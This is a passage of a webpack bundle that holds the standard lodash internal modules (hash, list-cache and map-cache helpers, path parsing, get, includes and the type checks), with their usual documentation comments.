\**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var nativeCreate = __webpack_require__(/*! ./_nativeCreate */ "./includes/builder/node_modules/lodash/_nativeCreate.js"); /** Used to stand-in for `undefined` hash values. */ var HASH_UNDEFINED = '__lodash_hash_undefined__'; /** * Sets the hash `key` to `value`. * * @private * @name set * @memberOf Hash * @param {string} key The key of the value to set. * @param {*} value The value to set. * @returns {Object} Returns the hash instance. */ function hashSet(key, value) { var data = this.__data__; this.size += this.has(key) ? 0 : 1; data[key] = (nativeCreate && value === undefined) ? HASH_UNDEFINED : value; return this; } module.exports = hashSet; /***/ }), /***/ "./includes/builder/node_modules/lodash/_isIndex.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_isIndex.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** Used as references for various `Number` constants. */ var MAX_SAFE_INTEGER = 9007199254740991; /** Used to detect unsigned integer values. */ var reIsUint = /^(?:0|[1-9]\d*)$/; /** * Checks if `value` is a valid array-like index. * * @private * @param {*} value The value to check. * @param {number} [length=MAX_SAFE_INTEGER] The upper bounds of a valid index. * @returns {boolean} Returns `true` if `value` is a valid index, else `false`. */ function isIndex(value, length) { var type = typeof value; length = length == null ? MAX_SAFE_INTEGER : length; return !!length && (type == 'number' || (type != 'symbol' && reIsUint.test(value))) && (value > -1 && value % 1 == 0 && value < length); } module.exports = isIndex; /***/ }), /***/ "./includes/builder/node_modules/lodash/_isKey.js": /*!********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_isKey.js ***! \********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var isArray = __webpack_require__(/*! ./isArray */ "./includes/builder/node_modules/lodash/isArray.js"), isSymbol = __webpack_require__(/*! ./isSymbol */ "./includes/builder/node_modules/lodash/isSymbol.js"); /** Used to match property names within property paths. */ var reIsDeepProp = /\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/, reIsPlainProp = /^\w*$/; /** * Checks if `value` is a property name and not a property path. * * @private * @param {*} value The value to check. * @param {Object} [object] The object to query keys on. * @returns {boolean} Returns `true` if `value` is a property name, else `false`. */ function isKey(value, object) { if (isArray(value)) { return false; } var type = typeof value; if (type == 'number' || type == 'symbol' || type == 'boolean' || value == null || isSymbol(value)) { return true; } return reIsPlainProp.test(value) || !reIsDeepProp.test(value) || (object != null && value in Object(object)); } module.exports = isKey; /***/ }), /***/ "./includes/builder/node_modules/lodash/_isKeyable.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_isKeyable.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Checks if `value` is suitable for use as unique object key. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is suitable, else `false`. */ function isKeyable(value) { var type = typeof value; return (type == 'string' || type == 'number' || type == 'symbol' || type == 'boolean') ? (value !== '__proto__') : (value === null); } module.exports = isKeyable; /***/ }), /***/ "./includes/builder/node_modules/lodash/_isMasked.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_isMasked.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var coreJsData = __webpack_require__(/*! ./_coreJsData */ "./includes/builder/node_modules/lodash/_coreJsData.js"); /** Used to detect methods masquerading as native. */ var maskSrcKey = (function() { var uid = /[^.]+$/.exec(coreJsData && coreJsData.keys && coreJsData.keys.IE_PROTO || ''); return uid ? ('Symbol(src)_1.' + uid) : ''; }()); /** * Checks if `func` has its source masked. * * @private * @param {Function} func The function to check. * @returns {boolean} Returns `true` if `func` is masked, else `false`. */ function isMasked(func) { return !!maskSrcKey && (maskSrcKey in func); } module.exports = isMasked; /***/ }), /***/ "./includes/builder/node_modules/lodash/_isPrototype.js": /*!**************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_isPrototype.js ***! \**************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** Used for built-in method references. */ var objectProto = Object.prototype; /** * Checks if `value` is likely a prototype object. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a prototype, else `false`. */ function isPrototype(value) { var Ctor = value && value.constructor, proto = (typeof Ctor == 'function' && Ctor.prototype) || objectProto; return value === proto; } module.exports = isPrototype; /***/ }), /***/ "./includes/builder/node_modules/lodash/_listCacheClear.js": /*!*****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_listCacheClear.js ***! \*****************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Removes all key-value entries from the list cache. * * @private * @name clear * @memberOf ListCache */ function listCacheClear() { this.__data__ = []; this.size = 0; } module.exports = listCacheClear; /***/ }), /***/ "./includes/builder/node_modules/lodash/_listCacheDelete.js": /*!******************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_listCacheDelete.js ***! \******************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var assocIndexOf = __webpack_require__(/*! ./_assocIndexOf */ "./includes/builder/node_modules/lodash/_assocIndexOf.js"); /** Used for built-in method references. */ var arrayProto = Array.prototype; /** Built-in value references. */ var splice = arrayProto.splice; /** * Removes `key` and its value from the list cache. * * @private * @name delete * @memberOf ListCache * @param {string} key The key of the value to remove. * @returns {boolean} Returns `true` if the entry was removed, else `false`. */ function listCacheDelete(key) { var data = this.__data__, index = assocIndexOf(data, key); if (index < 0) { return false; } var lastIndex = data.length - 1; if (index == lastIndex) { data.pop(); } else { splice.call(data, index, 1); } --this.size; return true; } module.exports = listCacheDelete; /***/ }), /***/ "./includes/builder/node_modules/lodash/_listCacheGet.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_listCacheGet.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var assocIndexOf = __webpack_require__(/*! ./_assocIndexOf */ "./includes/builder/node_modules/lodash/_assocIndexOf.js"); /** * Gets the list cache value for `key`. * * @private * @name get * @memberOf ListCache * @param {string} key The key of the value to get. * @returns {*} Returns the entry value. */ function listCacheGet(key) { var data = this.__data__, index = assocIndexOf(data, key); return index < 0 ? undefined : data[index][1]; } module.exports = listCacheGet; /***/ }), /***/ "./includes/builder/node_modules/lodash/_listCacheHas.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_listCacheHas.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var assocIndexOf = __webpack_require__(/*! ./_assocIndexOf */ "./includes/builder/node_modules/lodash/_assocIndexOf.js"); /** * Checks if a list cache value for `key` exists. * * @private * @name has * @memberOf ListCache * @param {string} key The key of the entry to check. * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`. */ function listCacheHas(key) { return assocIndexOf(this.__data__, key) > -1; } module.exports = listCacheHas; /***/ }), /***/ "./includes/builder/node_modules/lodash/_listCacheSet.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_listCacheSet.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var assocIndexOf = __webpack_require__(/*! ./_assocIndexOf */ "./includes/builder/node_modules/lodash/_assocIndexOf.js"); /** * Sets the list cache `key` to `value`. * * @private * @name set * @memberOf ListCache * @param {string} key The key of the value to set. * @param {*} value The value to set. * @returns {Object} Returns the list cache instance. */ function listCacheSet(key, value) { var data = this.__data__, index = assocIndexOf(data, key); if (index < 0) { ++this.size; data.push([key, value]); } else { data[index][1] = value; } return this; } module.exports = listCacheSet; /***/ }), /***/ "./includes/builder/node_modules/lodash/_mapCacheClear.js": /*!****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_mapCacheClear.js ***! \****************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var Hash = __webpack_require__(/*! ./_Hash */ "./includes/builder/node_modules/lodash/_Hash.js"), ListCache = __webpack_require__(/*! ./_ListCache */ "./includes/builder/node_modules/lodash/_ListCache.js"), Map = __webpack_require__(/*! ./_Map */ "./includes/builder/node_modules/lodash/_Map.js"); /** * Removes all key-value entries from the map. * * @private * @name clear * @memberOf MapCache */ function mapCacheClear() { this.size = 0; this.__data__ = { 'hash': new Hash, 'map': new (Map || ListCache), 'string': new Hash }; } module.exports = mapCacheClear; /***/ }), /***/ "./includes/builder/node_modules/lodash/_mapCacheDelete.js": /*!*****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_mapCacheDelete.js ***! \*****************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var getMapData = __webpack_require__(/*! ./_getMapData */ "./includes/builder/node_modules/lodash/_getMapData.js"); /** * Removes `key` and its value from the map. * * @private * @name delete * @memberOf MapCache * @param {string} key The key of the value to remove. * @returns {boolean} Returns `true` if the entry was removed, else `false`. */ function mapCacheDelete(key) { var result = getMapData(this, key)['delete'](key); this.size -= result ? 1 : 0; return result; } module.exports = mapCacheDelete; /***/ }), /***/ "./includes/builder/node_modules/lodash/_mapCacheGet.js": /*!**************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_mapCacheGet.js ***! \**************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var getMapData = __webpack_require__(/*! ./_getMapData */ "./includes/builder/node_modules/lodash/_getMapData.js"); /** * Gets the map value for `key`. * * @private * @name get * @memberOf MapCache * @param {string} key The key of the value to get. * @returns {*} Returns the entry value. */ function mapCacheGet(key) { return getMapData(this, key).get(key); } module.exports = mapCacheGet; /***/ }), /***/ "./includes/builder/node_modules/lodash/_mapCacheHas.js": /*!**************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_mapCacheHas.js ***! \**************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var getMapData = __webpack_require__(/*! ./_getMapData */ "./includes/builder/node_modules/lodash/_getMapData.js"); /** * Checks if a map value for `key` exists. * * @private * @name has * @memberOf MapCache * @param {string} key The key of the entry to check. * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`. */ function mapCacheHas(key) { return getMapData(this, key).has(key); } module.exports = mapCacheHas; /***/ }), /***/ "./includes/builder/node_modules/lodash/_mapCacheSet.js": /*!**************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_mapCacheSet.js ***! \**************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var getMapData = __webpack_require__(/*! ./_getMapData */ "./includes/builder/node_modules/lodash/_getMapData.js"); /** * Sets the map `key` to `value`. * * @private * @name set * @memberOf MapCache * @param {string} key The key of the value to set. * @param {*} value The value to set. * @returns {Object} Returns the map cache instance. */ function mapCacheSet(key, value) { var data = getMapData(this, key), size = data.size; data.set(key, value); this.size += data.size == size ? 0 : 1; return this; } module.exports = mapCacheSet; /***/ }), /***/ "./includes/builder/node_modules/lodash/_memoizeCapped.js": /*!****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_memoizeCapped.js ***! \****************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var memoize = __webpack_require__(/*! ./memoize */ "./includes/builder/node_modules/lodash/memoize.js"); /** Used as the maximum memoize cache size. */ var MAX_MEMOIZE_SIZE = 500; /** * A specialized version of `_.memoize` which clears the memoized function's * cache when it exceeds `MAX_MEMOIZE_SIZE`. * * @private * @param {Function} func The function to have its output memoized. * @returns {Function} Returns the new memoized function. */ function memoizeCapped(func) { var result = memoize(func, function(key) { if (cache.size === MAX_MEMOIZE_SIZE) { cache.clear(); } return key; }); var cache = result.cache; return result; } module.exports = memoizeCapped; /***/ }), /***/ "./includes/builder/node_modules/lodash/_nativeCreate.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_nativeCreate.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var getNative = __webpack_require__(/*! ./_getNative */ "./includes/builder/node_modules/lodash/_getNative.js"); /* Built-in method references that are verified to be native. */ var nativeCreate = getNative(Object, 'create'); module.exports = nativeCreate; /***/ }), /***/ "./includes/builder/node_modules/lodash/_nativeKeys.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_nativeKeys.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var overArg = __webpack_require__(/*! ./_overArg */ "./includes/builder/node_modules/lodash/_overArg.js"); /* Built-in method references for those with the same name as other `lodash` methods. */ var nativeKeys = overArg(Object.keys, Object); module.exports = nativeKeys; /***/ }), /***/ "./includes/builder/node_modules/lodash/_nodeUtil.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_nodeUtil.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { /* WEBPACK VAR INJECTION */(function(module) {var freeGlobal = __webpack_require__(/*! ./_freeGlobal */ "./includes/builder/node_modules/lodash/_freeGlobal.js"); /** Detect free variable `exports`. */ var freeExports = true && exports && !exports.nodeType && exports; /** Detect free variable `module`. */ var freeModule = freeExports && typeof module == 'object' && module && !module.nodeType && module; /** Detect the popular CommonJS extension `module.exports`. */ var moduleExports = freeModule && freeModule.exports === freeExports; /** Detect free variable `process` from Node.js. */ var freeProcess = moduleExports && freeGlobal.process; /** Used to access faster Node.js helpers. */ var nodeUtil = (function() { try { // Use `util.types` for Node.js 10+. var types = freeModule && freeModule.require && freeModule.require('util').types; if (types) { return types; } // Legacy `process.binding('util')` for Node.js < 10. return freeProcess && freeProcess.binding && freeProcess.binding('util'); } catch (e) {} }()); module.exports = nodeUtil; /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../../../../node_modules/webpack/buildin/module.js */ "./node_modules/webpack/buildin/module.js")(module))) /***/ }), /***/ "./includes/builder/node_modules/lodash/_objectToString.js": /*!*****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_objectToString.js ***! \*****************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** Used for built-in method references. */ var objectProto = Object.prototype; /** * Used to resolve the * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring) * of values. */ var nativeObjectToString = objectProto.toString; /** * Converts `value` to a string using `Object.prototype.toString`. * * @private * @param {*} value The value to convert. * @returns {string} Returns the converted string. */ function objectToString(value) { return nativeObjectToString.call(value); } module.exports = objectToString; /***/ }), /***/ "./includes/builder/node_modules/lodash/_overArg.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_overArg.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Creates a unary function that invokes `func` with its argument transformed. * * @private * @param {Function} func The function to wrap. * @param {Function} transform The argument transform. * @returns {Function} Returns the new function. */ function overArg(func, transform) { return function(arg) { return func(transform(arg)); }; } module.exports = overArg; /***/ }), /***/ "./includes/builder/node_modules/lodash/_root.js": /*!*******************************************************!*\ !*** ./includes/builder/node_modules/lodash/_root.js ***! \*******************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var freeGlobal = __webpack_require__(/*! ./_freeGlobal */ "./includes/builder/node_modules/lodash/_freeGlobal.js"); /** Detect free variable `self`. */ var freeSelf = typeof self == 'object' && self && self.Object === Object && self; /** Used as a reference to the global object. */ var root = freeGlobal || freeSelf || Function('return this')(); module.exports = root; /***/ }), /***/ "./includes/builder/node_modules/lodash/_strictIndexOf.js": /*!****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_strictIndexOf.js ***! \****************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * A specialized version of `_.indexOf` which performs strict equality * comparisons of values, i.e. `===`. * * @private * @param {Array} array The array to inspect. * @param {*} value The value to search for. * @param {number} fromIndex The index to search from. * @returns {number} Returns the index of the matched value, else `-1`. */ function strictIndexOf(array, value, fromIndex) { var index = fromIndex - 1, length = array.length; while (++index < length) { if (array[index] === value) { return index; } } return -1; } module.exports = strictIndexOf; /***/ }), /***/ "./includes/builder/node_modules/lodash/_stringToPath.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_stringToPath.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var memoizeCapped = __webpack_require__(/*! ./_memoizeCapped */ "./includes/builder/node_modules/lodash/_memoizeCapped.js"); /** Used to match property names within property paths. */ var rePropName = /[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g; /** Used to match backslashes in property paths. */ var reEscapeChar = /\\(\\)?/g; /** * Converts `string` to a property path array. * * @private * @param {string} string The string to convert. * @returns {Array} Returns the property path array. */ var stringToPath = memoizeCapped(function(string) { var result = []; if (string.charCodeAt(0) === 46 /* . */) { result.push(''); } string.replace(rePropName, function(match, number, quote, subString) { result.push(quote ? subString.replace(reEscapeChar, '$1') : (number || match)); }); return result; }); module.exports = stringToPath; /***/ }), /***/ "./includes/builder/node_modules/lodash/_toKey.js": /*!********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_toKey.js ***! \********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var isSymbol = __webpack_require__(/*! ./isSymbol */ "./includes/builder/node_modules/lodash/isSymbol.js"); /** Used as references for various `Number` constants. */ var INFINITY = 1 / 0; /** * Converts `value` to a string key if it's not a string or symbol. * * @private * @param {*} value The value to inspect. * @returns {string|symbol} Returns the key. */ function toKey(value) { if (typeof value == 'string' || isSymbol(value)) { return value; } var result = (value + ''); return (result == '0' && (1 / value) == -INFINITY) ? '-0' : result; } module.exports = toKey; /***/ }), /***/ "./includes/builder/node_modules/lodash/_toSource.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_toSource.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** Used for built-in method references. */ var funcProto = Function.prototype; /** Used to resolve the decompiled source of functions. */ var funcToString = funcProto.toString; /** * Converts `func` to its source code. * * @private * @param {Function} func The function to convert. * @returns {string} Returns the source code. */ function toSource(func) { if (func != null) { try { return funcToString.call(func); } catch (e) {} try { return (func + ''); } catch (e) {} } return ''; } module.exports = toSource; /***/ }), /***/ "./includes/builder/node_modules/lodash/_trimmedEndIndex.js": /*!******************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_trimmedEndIndex.js ***! \******************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** Used to match a single whitespace character. */ var reWhitespace = /\s/; /** * Used by `_.trim` and `_.trimEnd` to get the index of the last non-whitespace * character of `string`. * * @private * @param {string} string The string to inspect. * @returns {number} Returns the index of the last non-whitespace character. */ function trimmedEndIndex(string) { var index = string.length; while (index-- && reWhitespace.test(string.charAt(index))) {} return index; } module.exports = trimmedEndIndex; /***/ }), /***/ "./includes/builder/node_modules/lodash/eq.js": /*!****************************************************!*\ !*** ./includes/builder/node_modules/lodash/eq.js ***! \****************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Performs a * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero) * comparison between two values to determine if they are equivalent. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to compare. * @param {*} other The other value to compare. * @returns {boolean} Returns `true` if the values are equivalent, else `false`. * @example * * var object = { 'a': 1 }; * var other = { 'a': 1 }; * * _.eq(object, object); * // => true * * _.eq(object, other); * // => false * * _.eq('a', 'a'); * // => true * * _.eq('a', Object('a')); * // => false * * _.eq(NaN, NaN); * // => true */ function eq(value, other) { return value === other || (value !== value && other !== other); } module.exports = eq; /***/ }), /***/ "./includes/builder/node_modules/lodash/get.js": /*!*****************************************************!*\ !*** ./includes/builder/node_modules/lodash/get.js ***! \*****************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseGet = __webpack_require__(/*! ./_baseGet */ "./includes/builder/node_modules/lodash/_baseGet.js"); /** * Gets the value at `path` of `object`. If the resolved value is * `undefined`, the `defaultValue` is returned in its place. * * @static * @memberOf _ * @since 3.7.0 * @category Object * @param {Object} object The object to query. * @param {Array|string} path The path of the property to get. * @param {*} [defaultValue] The value returned for `undefined` resolved values. * @returns {*} Returns the resolved value. * @example * * var object = { 'a': [{ 'b': { 'c': 3 } }] }; * * _.get(object, 'a[0].b.c'); * // => 3 * * _.get(object, ['a', '0', 'b', 'c']); * // => 3 * * _.get(object, 'a.b.c', 'default'); * // => 'default' */ function get(object, path, defaultValue) { var result = object == null ? undefined : baseGet(object, path); return result === undefined ? defaultValue : result; } module.exports = get; /***/ }), /***/ "./includes/builder/node_modules/lodash/includes.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/includes.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseIndexOf = __webpack_require__(/*! ./_baseIndexOf */ "./includes/builder/node_modules/lodash/_baseIndexOf.js"), isArrayLike = __webpack_require__(/*! ./isArrayLike */ "./includes/builder/node_modules/lodash/isArrayLike.js"), isString = __webpack_require__(/*! ./isString */ "./includes/builder/node_modules/lodash/isString.js"), toInteger = __webpack_require__(/*! ./toInteger */ "./includes/builder/node_modules/lodash/toInteger.js"), values = __webpack_require__(/*! ./values */ "./includes/builder/node_modules/lodash/values.js"); /* Built-in method references for those with the same name as other `lodash` methods. */ var nativeMax = Math.max; /** * Checks if `value` is in `collection`. If `collection` is a string, it's * checked for a substring of `value`, otherwise * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero) * is used for equality comparisons. If `fromIndex` is negative, it's used as * the offset from the end of `collection`. * * @static * @memberOf _ * @since 0.1.0 * @category Collection * @param {Array|Object|string} collection The collection to inspect. * @param {*} value The value to search for. * @param {number} [fromIndex=0] The index to search from. * @param- {Object} [guard] Enables use as an iteratee for methods like `_.reduce`. * @returns {boolean} Returns `true` if `value` is found, else `false`. * @example * * _.includes([1, 2, 3], 1); * // => true * * _.includes([1, 2, 3], 1, 2); * // => false * * _.includes({ 'a': 1, 'b': 2 }, 1); * // => true * * _.includes('abcd', 'bc'); * // => true */ function includes(collection, value, fromIndex, guard) { collection = isArrayLike(collection) ? collection : values(collection); fromIndex = (fromIndex && !guard) ? toInteger(fromIndex) : 0; var length = collection.length; if (fromIndex < 0) { fromIndex = nativeMax(length + fromIndex, 0); } return isString(collection) ? (fromIndex <= length && collection.indexOf(value, fromIndex) > -1) : (!!length && baseIndexOf(collection, value, fromIndex) > -1); } module.exports = includes; /***/ }), /***/ "./includes/builder/node_modules/lodash/isArguments.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/isArguments.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseIsArguments = __webpack_require__(/*! ./_baseIsArguments */ "./includes/builder/node_modules/lodash/_baseIsArguments.js"), isObjectLike = __webpack_require__(/*! ./isObjectLike */ "./includes/builder/node_modules/lodash/isObjectLike.js"); /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** Built-in value references. */ var propertyIsEnumerable = objectProto.propertyIsEnumerable; /** * Checks if `value` is likely an `arguments` object. * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an `arguments` object, * else `false`. * @example * * _.isArguments(function() { return arguments; }()); * // => true * * _.isArguments([1, 2, 3]); * // => false */ var isArguments = baseIsArguments(function() { return arguments; }()) ? baseIsArguments : function(value) { return isObjectLike(value) && hasOwnProperty.call(value, 'callee') && !propertyIsEnumerable.call(value, 'callee'); }; module.exports = isArguments; /***/ }), /***/ "./includes/builder/node_modules/lodash/isArray.js": /*!*********************************************************!*\ !*** ./includes/builder/node_modules/lodash/isArray.js ***! \*********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Checks if `value` is classified as an `Array` object. * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an array, else `false`. * @example * * _.isArray([1, 2, 3]); * // => true * * _.isArray(document.body.children); * // => false * * _.isArray('abc'); * // => false * * _.isArray(_.noop); * // => false */ var isArray = Array.isArray; module.exports = isArray; /***/ }), /***/ "./includes/builder/node_modules/lodash/isArrayLike.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/isArrayLike.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var isFunction = __webpack_require__(/*! ./isFunction */ "./includes/builder/node_modules/lodash/isFunction.js"), isLength = __webpack_require__(/*! ./isLength */ "./includes/builder/node_modules/lodash/isLength.js"); /** * Checks if `value` is array-like. A value is considered array-like if it's * not a function and has a `value.length` that's an integer greater than or * equal to `0` and less than or equal to `Number.MAX_SAFE_INTEGER`. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is array-like, else `false`. * @example * * _.isArrayLike([1, 2, 3]); * // => true * * _.isArrayLike(document.body.children); * // => true * * _.isArrayLike('abc'); * // => true * * _.isArrayLike(_.noop); * // => false */ function isArrayLike(value) { return value != null && isLength(value.length) && !isFunction(value); } module.exports = isArrayLike; /***/ }), /***/ "./includes/builder/node_modules/lodash/isBuffer.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/isBuffer.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { /* WEBPACK VAR INJECTION */(function(module) {var root = __webpack_require__(/*! ./_root */ "./includes/builder/node_modules/lodash/_root.js"), stubFalse = __webpack_require__(/*! ./stubFalse */ "./includes/builder/node_modules/lodash/stubFalse.js"); /** Detect free variable `exports`. */ var freeExports = true && exports && !exports.nodeType && exports; /** Detect free variable `module`. */ var freeModule = freeExports && typeof module == 'object' && module && !module.nodeType && module; /** Detect the popular CommonJS extension `module.exports`. */ var moduleExports = freeModule && freeModule.exports === freeExports; /** Built-in value references. */ var Buffer = moduleExports ? root.Buffer : undefined; /* Built-in method references for those with the same name as other `lodash` methods. */ var nativeIsBuffer = Buffer ? Buffer.isBuffer : undefined; /** * Checks if `value` is a buffer. * * @static * @memberOf _ * @since 4.3.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a buffer, else `false`. * @example * * _.isBuffer(new Buffer(2)); * // => true * * _.isBuffer(new Uint8Array(2)); * // => false */ var isBuffer = nativeIsBuffer || stubFalse; module.exports = isBuffer; /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../../../../node_modules/webpack/buildin/module.js */ "./node_modules/webpack/buildin/module.js")(module))) /***/ }), /***/ "./includes/builder/node_modules/lodash/isFunction.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/isFunction.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__(/*! ./_baseGetTag */ "./includes/builder/node_modules/lodash/_baseGetTag.js"), isObject = __webpack_require__(/*! ./isObject */ "./includes/builder/node_modules/lodash/isObject.js"); /** `Object#toString` result references. */ var asyncTag = '[object AsyncFunction]', funcTag = '[object Function]', genTag = '[object GeneratorFunction]', proxyTag = '[object Proxy]'; /** * Checks if `value` is classified as a `Function` object. * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a function, else `false`. * @example * * _.isFunction(_); * // => true * * _.isFunction(/abc/); * // => false */ function isFunction(value) { if (!isObject(value)) { return false; } // The use of `Object#toString` avoids issues with the `typeof` operator // in Safari 9 which returns 'object' for typed arrays and other constructors. var tag = baseGetTag(value); return tag == funcTag || tag == genTag || tag == asyncTag || tag == proxyTag; } module.exports = isFunction; /***/ }), /***/ "./includes/builder/node_modules/lodash/isLength.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/isLength.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** Used as references for various `Number` constants. */ var MAX_SAFE_INTEGER = 9007199254740991; /** * Checks if `value` is a valid array-like length. * * **Note:** This method is loosely based on * [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength). * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a valid length, else `false`. * @example * * _.isLength(3); * // => true * * _.isLength(Number.MIN_VALUE); * // => false * * _.isLength(Infinity); * // => false * * _.isLength('3'); * // => false */ function isLength(value) { return typeof value == 'number' && value > -1 && value % 1 == 0 && value <= MAX_SAFE_INTEGER; } module.exports = isLength; /***/ }), /***/ "./includes/builder/node_modules/lodash/isObject.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/isObject.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Checks if `value` is the * [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types) * of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`) * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an object, else `false`. * @example * * _.isObject({}); * // => true * * _.isObject([1, 2, 3]); * // => true * * _.isObject(_.noop); * // => true * * _.isObject(null); * // => false */ function isObject(value) { var type = typeof value; return value != null && (type == 'object' || type == 'function'); } module.exports = isObject; /***/ }), /***/ "./includes/builder/node_modules/lodash/isObjectLike.js": /*!**************************************************************!*\ !*** ./includes/builder/node_modules/lodash/isObjectLike.js ***! \**************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Checks if `value` is object-like. A value is object-like if it's not `null` * and has a `typeof` result of "object". * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is object-like, else `false`. * @example * * _.isObjectLike({}); * // => true * * _.isObjectLike([1, 2, 3]); * // => true * 